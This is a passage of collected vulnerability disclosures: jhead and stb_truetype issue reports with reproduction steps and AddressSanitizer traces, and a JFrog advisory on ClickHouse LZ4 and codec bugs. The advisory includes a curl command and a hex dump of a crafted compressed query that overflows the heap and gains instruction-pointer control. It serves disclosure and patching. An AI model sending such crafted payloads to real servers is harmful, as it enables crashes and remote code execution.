        #5 0x41b858 in _start (/root/fuzz/jhead/jhead+0x41b858)
    
    0x60e0000000e0 is located 0 bytes to the right of 160-byte region [0x60e000000040,0x60e0000000e0)
    allocated by thread T0 here:
        #0 0x4959c9 in realloc (/root/fuzz/jhead/jhead+0x4959c9)
        #1 0x4cf59f in CheckSectionsAllocated /root/fuzz/jhead/jpgfile.c:107:33
        #2 0x4ce3c0 in ReadJpegSections /root/fuzz/jhead/jpgfile.c:139:9
        #3 0x4cfd96 in ReadJpegFile /root/fuzz/jhead/jpgfile.c:381:11
        #4 0x4c8850 in ProcessFile /root/fuzz/jhead/jhead.c:908:10
        #5 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #6 0x7fc05b29283f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/fuzz/jhead/jhead+0x494f5e) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0c1c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
    =>0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
      0x0c1c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==26249==ABORTING
    

Additional info:

Founder: giantbranch of NSFOCUS Security Team

CVE-2021-28278: A heap-based buffer overflow Read in RemoveSectionType in jpgfile.c · Issue #15 · Matthias-Wandel/jhead

A Heap-based Buffer Overflow vulnerabilty exists in jhead 3.04 and 3.05 is affected by: Buffer Overflow via the RemoveUnknownSections function in jpgfile.c.

Description of problem:

A heap-based buffer overflow Read in RemoveUnknownSections in jpgfile.c

Version-Release number of selected component (if applicable):

I tested the following version:  
Jhead version: 3.05  
Jhead version: 3.04

How reproducible:

git clone --depth=1 https://github.com/Matthias-Wandel/jhead.git && cd jhead && make CC="clang" -e CFLAGS="-g -fsanitize=address" -e LDFLAGS="-g -fsanitize=address"

Steps to Reproduce:  
1.just run the following command

    ./jhead -purejpg ./tests_61787.jpg
    

poc：tests\_61787.zip

Actual results:

AddressSanitizer Report

    $ ./jhead -purejpg ./tests_61787.jpg
    
    Nonfatal Error : './tests_61787.jpg' Extraneous 10 padding bytes before section C4
    =================================================================
    ==26268==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e0000000e0 at pc 0x000000494f5f bp 0x7ffead788260 sp 0x7ffead787a28
    READ of size 80 at 0x60e0000000e0 thread T0
        #0 0x494f5e in __asan_memmove (/root/fuzz/jhead/test/jhead+0x494f5e)
        #1 0x4d172e in RemoveUnknownSections /root/fuzz/jhead/jpgfile.c:718:17
        #2 0x4ca6d4 in ProcessFile /root/fuzz/jhead/jhead.c:1182:13
        #3 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #4 0x7fc36297383f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #5 0x41b858 in _start (/root/fuzz/jhead/test/jhead+0x41b858)
    
    0x60e0000000e0 is located 0 bytes to the right of 160-byte region [0x60e000000040,0x60e0000000e0)
    allocated by thread T0 here:
        #0 0x4959c9 in realloc (/root/fuzz/jhead/test/jhead+0x4959c9)
        #1 0x4cf59f in CheckSectionsAllocated /root/fuzz/jhead/jpgfile.c:107:33
        #2 0x4ce3c0 in ReadJpegSections /root/fuzz/jhead/jpgfile.c:139:9
        #3 0x4cfd96 in ReadJpegFile /root/fuzz/jhead/jpgfile.c:381:11
        #4 0x4c8850 in ProcessFile /root/fuzz/jhead/jhead.c:908:10
        #5 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #6 0x7fc36297383f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/fuzz/jhead/test/jhead+0x494f5e) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0c1c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c1c7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
    =>0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
      0x0c1c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c1c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==26268==ABORTING
    

Additional info:

Founder: giantbranch of NSFOCUS Security Team

CVE-2021-28277: A heap-based buffer overflow Read in RemoveUnknownSections in jpgfile.c · Issue #16 · Matthias-Wandel/jhead

A Denial of Service vulnerability exists in jhead 3.04 and 3.05 due to a wild address read in the Get16u function in exif.c in will cause segmentation fault via a crafted_file.

Description of problem:

Multiple Segmentation fault in jhead via a crafted jpg file

Version-Release number of selected component (if applicable):

I tested the following version:  
Jhead version: 3.05  
Jhead version: 3.04

How reproducible:

git clone --depth=1 https://github.com/Matthias-Wandel/jhead.git && cd jhead && make CC="clang" -e CFLAGS="-g -fsanitize=address" -e LDFLAGS="-g -fsanitize=address"

Steps to Reproduce:  
1.just run the following command

Segmentation fault in ProcessCanonMakerNoteDir

    ./jhead -v ./tests_61418.jpg
    

Segmentation fault in Get16u

    ./jhead -v ./tests_61761.jpg
    

Segmentation fault in Get32s

    ./jhead -v ./tests_61763.jpg
    

poc：  
jhead-multi-seg.zip

They are all because of wild-addr-read.

Actual results:

Segmentation fault in ProcessCanonMakerNoteDir

    $ ./jhead -v ./tests_61418.jpg
    Exif header 7166 bytes long
    Exif section in Intel order
    (dir has 9 entries)
        Make = "Canon"
        Model = "Canon DIGITAL IXUS?"
        Orientation = 1
        XResolution = 180/1
        YResolution = 180/1
        ResolutionUnit = 2
        DateTime = "2001:06:09 15:17:32"
        YCbCrPositioning = 1
        ExifOffset = 184
        Exif Dir:(dir has 27 entries)
            ExposureTime = 1/350
            FNumber = 40/10
            ExifVersion = "0210"
            DateTimeOriginal = "2001:06:09 15:17:32"
            DateTimeDigitized = "2001:06:09 15:17:32"
            ComponentsConfiguration = "?"
            CompressedBitsPerPixel = 3/1
            ShutterSpeedValue = 553859/65536
            ApertureValue = 262144/65536
            ExposureBiasValue = 0/3
            MaxApertureValue = 194698/65536
            SubjectDistance = 3750/1000
            MeteringMode = 2
            Flash = 0
            FocalLength = 346/32
            Maker note: (dir has 10 entries)
                Canon maker tag 0001 Value = 0, 1024, 6, 0, 9728, 512, 0, 768, 256, 0, 0, 256, 0, 256, 512, 256, ...
                Canon maker tag 0002 Value = 0, 0, 0, 256
                Canon maker tag 0003 Value = 512, 23040, 54017, 40448
                Canon maker tag 0004 Value = 0, 0, 0, 0, 7680, 0, 35840, 512, 32769, 3584, 1, 0, 0, 256, 1024
                Canon maker tag 0000 Value = 0, 0, 0, 512, 48, 0
                Canon maker tag 0006 Value = "IMG:JPEG file"
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==25461==ERROR: AddressSanitizer: SEGV on unknown address 0x624100002100 (pc 0x0000004dfa3c bp 0x7ffe87baf3b0 sp 0x7ffe87baf2d0 T0)
    ==25461==The signal is caused by a READ memory access.
        #0 0x4dfa3c in ProcessCanonMakerNoteDir /root/fuzz/jhead/makernote.c:105:29
        #1 0x4df3ea in ProcessMakerNote /root/fuzz/jhead/makernote.c:189:9
        #2 0x4d57e9 in ProcessExifDir /root/fuzz/jhead/exif.c:559:13
        #3 0x4d7adf in ProcessExifDir /root/fuzz/jhead/exif.c:851:25
        #4 0x4d494a in process_EXIF /root/fuzz/jhead/exif.c:1040:5
        #5 0x4cf08d in ReadJpegSections /root/fuzz/jhead/jpgfile.c:289:25
        #6 0x4cfd96 in ReadJpegFile /root/fuzz/jhead/jpgfile.c:381:11
        #7 0x4c8850 in ProcessFile /root/fuzz/jhead/jhead.c:908:10
        #8 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #9 0x7fb2b1d2083f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #10 0x41b858 in _start (/root/fuzz/jhead/jhead+0x41b858)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /root/fuzz/jhead/makernote.c:105:29 in ProcessCanonMakerNoteDir
    ==25461==ABORTING
    

Segmentation fault in Get16u

    $ ./jhead -v ./tests_61761.jpg
    Exif header 7166 bytes long
    Exif section in Intel order
    (dir has 213 entries)
        Make = "Canon"
    
    Nonfatal Error : './tests_61761.jpg' Illegal value pointer for tag 0110 in Exif
        Unknown Tag 6112 Value = 1
    
    Nonfatal Error : './tests_61761.jpg' Illegal value pointer for tag e21a in Exif
    
    Nonfatal Error : './tests_61761.jpg' Illegal value pointer for tag 011b in Exif
        Unknown Tag 9e28 Value = 2
        DateTime = "2001:06:09 1>:17:32"
        YCbCrPositioning = 1
        ExifOffset = 184
    ............
    ............
    ............
    ............
    ............
    ............
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==25463==ERROR: AddressSanitizer: SEGV on unknown address 0x6241000011b7 (pc 0x0000004d399c bp 0x7ffc7716b130 sp 0x7ffc7716b0e0 T0)
    ==25463==The signal is caused by a READ memory access.
        #0 0x4d399c in Get16u /root/fuzz/jhead/exif.c:323:17
        #1 0x4d40e1 in PrintFormatNumber /root/fuzz/jhead/exif.c:378:45
        #2 0x4dfbdd in ProcessCanonMakerNoteDir /root/fuzz/jhead/makernote.c:123:21
        #3 0x4df3ea in ProcessMakerNote /root/fuzz/jhead/makernote.c:189:9
        #4 0x4d57e9 in ProcessExifDir /root/fuzz/jhead/exif.c:559:13
        #5 0x4d7adf in ProcessExifDir /root/fuzz/jhead/exif.c:851:25
        #6 0x4d7adf in ProcessExifDir /root/fuzz/jhead/exif.c:851:25
        #7 0x4d494a in process_EXIF /root/fuzz/jhead/exif.c:1040:5
        #8 0x4cf08d in ReadJpegSections /root/fuzz/jhead/jpgfile.c:289:25
        #9 0x4cfd96 in ReadJpegFile /root/fuzz/jhead/jpgfile.c:381:11
        #10 0x4c8850 in ProcessFile /root/fuzz/jhead/jhead.c:908:10
        #11 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #12 0x7f45bf8ba83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #13 0x41b858 in _start (/root/fuzz/jhead/jhead+0x41b858)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /root/fuzz/jhead/exif.c:323:17 in Get16u
    ==25463==ABORTING
    

Segmentation fault in Get32s

    $ ./jhead -v ./tests_61763.jpg
    Exif header 7166 bytes long
    Exif section in Intel order
    (dir has 42 entries)
        Make = "Canon"
        Model = "?anon DIGITAL IXUS?"
        Orientation = 1
        XResolution = 180/1
        YResolution = 180/1
        ResolutionUnit = 2
        DateTime = "2001:06:09 15:17:32"
        YCbCrPositioning = 1
        ExifOffset = 184
        Exif Dir:(dir has 27 e
    ............
    ............
    ............
    ............
    ............
    ............
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==25465==ERROR: AddressSanitizer: SEGV on unknown address 0x62410000200b (pc 0x0000004d3bc8 bp 0x7ffe1275af10 sp 0x7ffe1275ae80 T0)
    ==25465==The signal is caused by a READ memory access.
        #0 0x4d3bc8 in Get32s /root/fuzz/jhead/exif.c:336:18
        #1 0x4d419b in PrintFormatNumber /root/fuzz/jhead/exif.c:388:32
        #2 0x4dfbdd in ProcessCanonMakerNoteDir /root/fuzz/jhead/makernote.c:123:21
        #3 0x4df3ea in ProcessMakerNote /root/fuzz/jhead/makernote.c:189:9
        #4 0x4d57e9 in ProcessExifDir /root/fuzz/jhead/exif.c:559:13
        #5 0x4d7adf in ProcessExifDir /root/fuzz/jhead/exif.c:851:25
        #6 0x4d494a in process_EXIF /root/fuzz/jhead/exif.c:1040:5
        #7 0x4cf08d in ReadJpegSections /root/fuzz/jhead/jpgfile.c:289:25
        #8 0x4cfd96 in ReadJpegFile /root/fuzz/jhead/jpgfile.c:381:11
        #9 0x4c8850 in ProcessFile /root/fuzz/jhead/jhead.c:908:10
        #10 0x4c74e5 in main /root/fuzz/jhead/jhead.c:1759:13
        #11 0x7f88040ac83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #12 0x41b858 in _start (/root/fuzz/jhead/jhead+0x41b858)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /root/fuzz/jhead/exif.c:336:18 in Get32s
    ==25465==ABORTING
    
    

Additional info:

Founder: giantbranch of NSFOCUS Security Team

CVE-2021-28275: Multiple Segmentation fault in jhead via a crafted jpg file · Issue #17 · Matthias-Wandel/jhead

** DISPUTED ** stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function ttUSHORT() at stb_truetype.h. NOTE: Third party has disputed stating that the source code has also a disclaimer that it should only be used with trusted input.

**Describe**  
A heap-buffer-overflow was discovered in stb\_truetype. The issue is being triggered in function ttUSHORT() at stb\_truetype.h:1286  
**To Reproduce**  
test program

    #include <stdio.h>  
    #include <stdlib.h>
    #define STB_IMAGE_WRITE_IMPLEMENTATION
    #include "stb_image_write.h"
    #define STB_TRUETYPE_IMPLEMENTATION
    #include "stb_truetype.h"
    int main(int argc, const char *argv[])
    {
        long int size = 0;
        unsigned char *fontBuffer = NULL;
        FILE *fontFile = fopen(argv[1], "rb");
        if (fontFile == NULL)
        {
            printf("Can not open font file!\n");
            return 0;
        }
        fseek(fontFile, 0, SEEK_END);
        size = ftell(fontFile);   
        fseek(fontFile, 0, SEEK_SET); 
        fontBuffer = calloc(size, sizeof(unsigned char));
        fread(fontBuffer, size, 1, fontFile);
        fclose(fontFile);
        stbtt_fontinfo info;
        if (!stbtt_InitFont(&info, fontBuffer, 0))
        {
            printf("stb init font failed\n");
        }
        int bitmap_w = 512; 
        int bitmap_h = 128;
        free(fontBuffer);
        return 0;
    }  
    

Compile test program with address sanitizer with this command:

AFL_HARDEN=1 afl-gcc -I /src/stb/include  ttf.c -o ttf -lm

You can get program here  
**Asan Reports**  
./Asanttf crash/0  
Get ASan reports

    ==3156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63000000ebf0 at pc 0x55ba19faea04 bp 0x7ffc3b853000 sp 0x7ffc3b852ff0
    READ of size 1 at 0x63000000ebf0 thread T0
        #0 0x55ba19faea03 in ttUSHORT /src/stb/include/stb_truetype.h:1286
        #1 0x55ba19faea03 in stbtt_InitFont_internal /src/stb/include/stb_truetype.h:1472
        #2 0x55ba19faea03 in stbtt_InitFont /src/stb/include/stb_truetype.h:4954
        #3 0x55ba19fb01fc in main /src/stb/ttf.c:32
        #4 0x7f443d2b80b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #5 0x55ba19f8970d in _start (/src/stb/Asanttf+0x470d)
    
    0x63000000ebf0 is located 1 bytes to the right of 59375-byte region [0x630000000400,0x63000000ebef)
    allocated by thread T0 here:
        #0 0x7f443d686e17 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
        #1 0x55ba19fb01c6 in main /src/stb/ttf.c:26
        #2 0x7f443d2b80b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/stb/include/stb_truetype.h:1286 in ttUSHORT
    Shadow bytes around the buggy address:
      0x0c607fff9d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c607fff9d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c607fff9d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c607fff9d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c607fff9d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c607fff9d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 07[fa]fa
      0x0c607fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c607fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c607fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c607fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c607fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3156==ABORTING
    

**Poc**  
Poc file is here

CVE-2022-25514: heap-buffer-overflow in function ttUSHORT() at stb_truetype.h:1286  · Issue #1286 · nothings/stb

Heap buffer overflow in Clickhouse's LZ4 compression codec when parsing a malicious query. There is no verification that the copy operations in the LZ4::decompressImpl loop and especially the arbitrary copy operation wildCopy<copy_amount>(op, ip, copy_end), don’t exceed the destination buffer’s limits. This issue is very similar to CVE-2021-43304, but the vulnerable copy operation is in a different wildCopy call.

The JFrog Security research team constantly monitors open-source projects to find new vulnerabilities or malicious packages and share them with the wider community to help improve their overall security posture. As part of this effort, the team recently discovered seven new security vulnerabilities in ClickHouse, a widely used open-source Database Management System (DBMS) dedicated to online analytical processing (OLAP). ClickHouse was developed by Yandex for the Yandex.Metrica, a web analytics tool often used to get visual reports and video recordings of user actions, as well as track traffic sources to help evaluate the effectiveness of online and offline advertising. The JFrog Security team responsibly disclosed these vulnerabilities and worked with ClickHouse’s maintainers on verifying the fixes.

The vulnerabilities require authentication, but can be triggered by any user with read permissions. This means the attacker must perform reconnaissance on the specific ClickHouse server target to obtain valid credentials. Any set of credentials would do, since even a user with the lowest privileges can trigger all of the vulnerabilities. By triggering the vulnerabilities, an attacker can crash the ClickHouse server, leak memory contents or even cause remote code execution (RCE).

Following are the seven vulnerabilities the JFrog Security team discovered:

*   **CVE-2021-43304** and **CVE-2021-43305** – heap buffer overflow vulnerabilities in LZ4 compression codec
*   **CVE-2021-42387** and **CVE-2021-42388** – heap out-of-bounds read vulnerabilities in LZ4 compression codec
*   **CVE-2021-42389** – divide by zero in Delta compression codec
*   **CVE-2021-42390** – divide by zero in Delta-Double compression codec
*   **CVE-2021-42391** – divide by zero in Gorilla compression codec

**CVE ID**

**Description**

**Potential Impact**

**CVSSv3.1 Score**

CVE-2021-43304

Heap buffer overflow in LZ4 compression codec when parsing a malicious query

RCE

8.8

CVE-2021-43305

Heap buffer overflow in LZ4 compression codec when parsing a malicious query

RCE

8.8

CVE-2021-42387

Heap out-of-bounds read in LZ4 compression codec when parsing a malicious query

Denial of Service or Information Leakage

7.1

CVE-2021-42388

Heap out-of-bounds read in LZ4 compression codec when parsing a malicious query

Denial of Service or Information Leakage

7.1

CVE-2021-42389

Divide-by-zero in Delta compression codec when parsing a malicious query

Denial of Service

6.5

CVE-2021-42390

Divide-by-zero in DeltaDouble compression codec when parsing a malicious query

Denial of Service

6.5

CVE-2021-42391

Divide-by-zero in Gorilla compression codec when parsing a malicious query

Denial of Service

6.5

**Technical Background**

The ClickHouse server allows a user to compress its queries. A user can pass a compressed query by supplying the **decompress=1** URL query string parameter to its web interface, like so:

    cat query.bin | curl -sS --data-binary @- 'http://serverIP:8123/?user=guest1&password=1234&decompress=1'

Where serverIP is the IP address of the ClickHouse server that has a user “guest1” with password “1234” set up. This user can also be configured with a “readonly” policy.

The query’s content (query.bin) should be in the following format:

    struct {
        uint128_t hash; // Google’s CityHash128
        uint8_t compress_method;
        uint32_t size_compressed_without_checksum; // the length (in bytes) of the entire struct (including compressed_data contents) minus the first 16bytes hash field. 
        uint32_t decompressed_size; // the expected decompressed output size 
        char compressed_data[0]; // the compressed data bytes (variable length)
    };

The client supplies the entire struct to the server and thus controls all of its contents.

The compressed data is consumed by constructing a CompressedReadBuffer instance with the struct as its input.

CompressedReadBuffer’s code calls readCompressedData which reads the struct and extracts its length values, calculates the CityHash128 over the struct contents (excluding the hash field), and verifies it against the struct’s hash field. It then resizes (basically realloc()’s) the initially allocated memory buffer used to hold the decompressed data. Then, through ICompressionCodec::decompress, the selected codec’s doDecompressData is called.

In **CVE-2021-42387**, **CVE-2021-43304**, **CVE-2021-42388** and **CVE-2021-43305** the LZ4 codec calls LZ4::decompress(source, dest, source\_size, dest\_size, ..) with the ‘compressed\_data’ as source, its length as source\_size, the resized memory buffer as dest, and the struct’s ‘decompressed\_size’ value as dest\_size. LZ4::decompress eventually calls LZ4::decompressImpl(source, dest, dest\_size) that does the actual LZ4 decompression in a loop –copying different parts of the compressed input in user-controlled lengths and offsets (supplied as part of the compressed\_data bytes) to the decompressed output memory buffer. It defines pointer variables for tracking the current location in the source (ip) and the dest (op).

**CVE-2021-43304  – a heap buffer overflow vulnerability**

Here is the code of LZ4::decompressImpl() that is relevant for CVE-2021-43304:

    template 
    void NO_INLINE decompressImpl(
         const char * const source,
         char * const dest,
         size_t dest_size)
    {
        ...
        while (true)
        {
            ... 
            wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount - 1 bytes after buffer.
     
            ip += length;
            op = copy_end;
     
            if (copy_end >= output_end)
                return;
            ...
        }
    }

**ip** is a pointer that points to the compressed buffer and **op** is a pointer that points to the allocated destination buffer, which is allocated with a size of the given decompressed\_size that is passed in the header. **copy\_end** is a pointer that points to the end of the copy area.

**copy\_amount** is the parameter of the template, which can be 8, 16 or 32. The copy area is being copied in chunks that each one of them is in size of **copy\_amount**. For example, this is the implementation of wildCopy16:

    inline void wildCopy16(UInt8 * dst, const UInt8 * src, const UInt8 * dst_end)
    {
        /// Unrolling with clang is doing >10% performance degrade.
    #if defined(__clang__)
        #pragma nounroll
    #endif
        do
        {
            copy16(dst, src);
            dst += 16;
            src += 16;
        } while (dst < dst_end);
    }
    

Since the user controls **decompressed\_size** and the compressed buffer, an attacker can take advantage of this situation by preparing compressed data with a header that contains a decompressed\_size which is smaller than the actual size of the compressed data. Note that the lengths of the overflow, as well as source’s allocation size and the overflowing byte contents are fully controlled by the user, which greatly facilitates exploitation.

Also note that the existing size check of “if (copy\_end >= output\_end)” does not prevent this vulnerability as it appears after the copy operation. CVE-2021-43305 is similar to CVE-2021-43304, but involves a different copy operation (whose source is a controlled offset of the destination buffer).

**Exploiting CVE-2021-43304**

In order to prove the exploitability of CVE-2021-43304, we created a specially crafted compressed file and sent it as previously explained. The query.bin file is comprised of the following header:

*   hash = the matching calculated Cityhash
*   compress\_method = 0x82 (LZ4 method)
*   size\_compressed\_without\_checksum = 0xc80a
*   decompressed\_size = 0x1

And for the compressed data we’ve used ‘\\xff’ (repeating 200 times) ‘A’ (repeating 5100 times). These are arbitrary values. The resulting malformed compressed file:  
00000000  26 fc 61 db c0 83 bb 0a  db 58 5a f0 34 e1 30 f6  |&.a......XZ.4.0.|  
00000010  82 0a c8 00 00 01 00 00  00 f0 ff ff ff ff ff ff  |................|  
00000020  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|  
*  
000000e0  ff ff 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |..AAAAAAAAAAAAAA|  
000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|  
*  
0000c81a  
The 200 0xff’s are being used in the loop inside LZ4::decompressImpl():

    template 
    void NO_INLINE decompressImpl(
         const char * const source,
         char * const dest,
         size_t dest_size)
    {
        ...
        while (true)
        {
            ...
            size_t length;
     
            auto continue_read_length = [&]
            {
                unsigned s;
                do
                {
                    s = *ip++;
                    length += s;
                } while (unlikely(s == 255));
            };
     
            /// Get literal length.
     
            const unsigned token = *ip++;
            length = token >> 4;
            if (length == 0x0F)
                continue_read_length();
            
            /// Copy literals.
     
            UInt8 * copy_end = op + length;
     
            ...
     
            wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount - 1 bytes after buffer.
            ...
        }
    }

That will increase **length** by 0xff \* 200 = 51000, which is exactly the size of the rest of the data.

So although the decompressed size is 1, a much larger size will be copied to the destination.

By sending the query to a vulnerable ClickHouse server, while debugging the server’s process, we managed to periodically get the following crash, proving control of the instruction pointer register, since the code branches to an address taken from the RAX register, which has been overwritten with our “A” values:

Although this specific crash is statistical, we believe that with proper heap shaping techniques, a stable exploit can be developed.

**CVE-2021-42388 and CVE-2021-42387 – heap OOB read vulnerabilities**

In LZ4::decompressImpl():

    template 
    void NO_INLINE decompressImpl(
         const char * const source,
         char * const dest,
         size_t dest_size)
    {
        ...
        while (true)
        {
            ...
            const UInt8 * match = op - offset;
            ...
            if (length > copy_amount * 2)
                wildCopy(op + copy_amount, match + copy_amount, copy_end);
            ...
        }
    }

As part of the LZ4::decompressImpl() loop, a 16-bit unsigned user-supplied value (‘offset’) is read from the compressed\_data. it is subtracted from the current op and stored in **match** pointer (**op** is a pointer that starts as **dest** and moves forward). There is no verification that the **match** pointer is not smaller than **dest**. Later, there’s a copy operation from match to output pointer – possibly **copying out of bounds memory from before the ‘dest’ memory buffer**. Accessing memory outside of the buffer’s bounds can expose sensitive information or lead in certain cases to a crash of the application due to segmentation fault.

CVE-2021-42387 is a similar vulnerability to CVE-2021-42388, which exceeds the upper bounds of the compressed buffer (source) as part of the copy operation.

**CVE-2021-42389, CVE-2021-42390 and CVE-2021-42391 – Divide by zero vulnerabilities**

These are divide-by-zero vulnerabilities in various codecs supported by ClickHouse. They are based on setting the first byte of the compressed buffer (described in the “Technical Background” section above) to zero. The decompression code reads the first byte of the compressed buffer and performs a modulo operation with it to get the remainder:

    UInt8 bytes_size = source[0];
    UInt8 bytes_to_skip = uncompressed_size % bytes_size;

In most of the cases the modulo operation in Intel x86-64 is performed by a DIV instruction, which, apart from dividing the numbers, also keeps the remainder in a register. So in case bytes\_size is 0, it will end up dividing by zero.

These vulnerabilities were found by “smart fuzzing” the decompression mechanism. Smart fuzzing leverages the knowledge of the input format for generating input data which (relatively) adheres to the expected protocol schema, instead of completely random data.

**Fixes and Workarounds**

In order to fix the issues, update ClickHouse to the v21.10.2.15-stable version or later.

If upgrading is not possible, add firewall rules in the server that will restrict the access to the web port (8123) and the TCP server’s port (9000) to specific clients only.

**Are JFrog products vulnerable?**

JFrog products are not vulnerable to this issue, since they do not use the ClickHouse DBMS

**Acknowledgement**

We would like to thank the ClickHouse Inc. team for promptly and professionally handling this issue.

**Learn More**

In addition to exposing new security vulnerabilities and threats, JFrog provides developers and security teams easy access to the latest relevant information for their software with automated security scanning. Explore how JFrog Xray can be of help to you.

_Questions? Thoughts?_ Contact us at **research@jfrog.com** for any inquiries.

Tag

#c++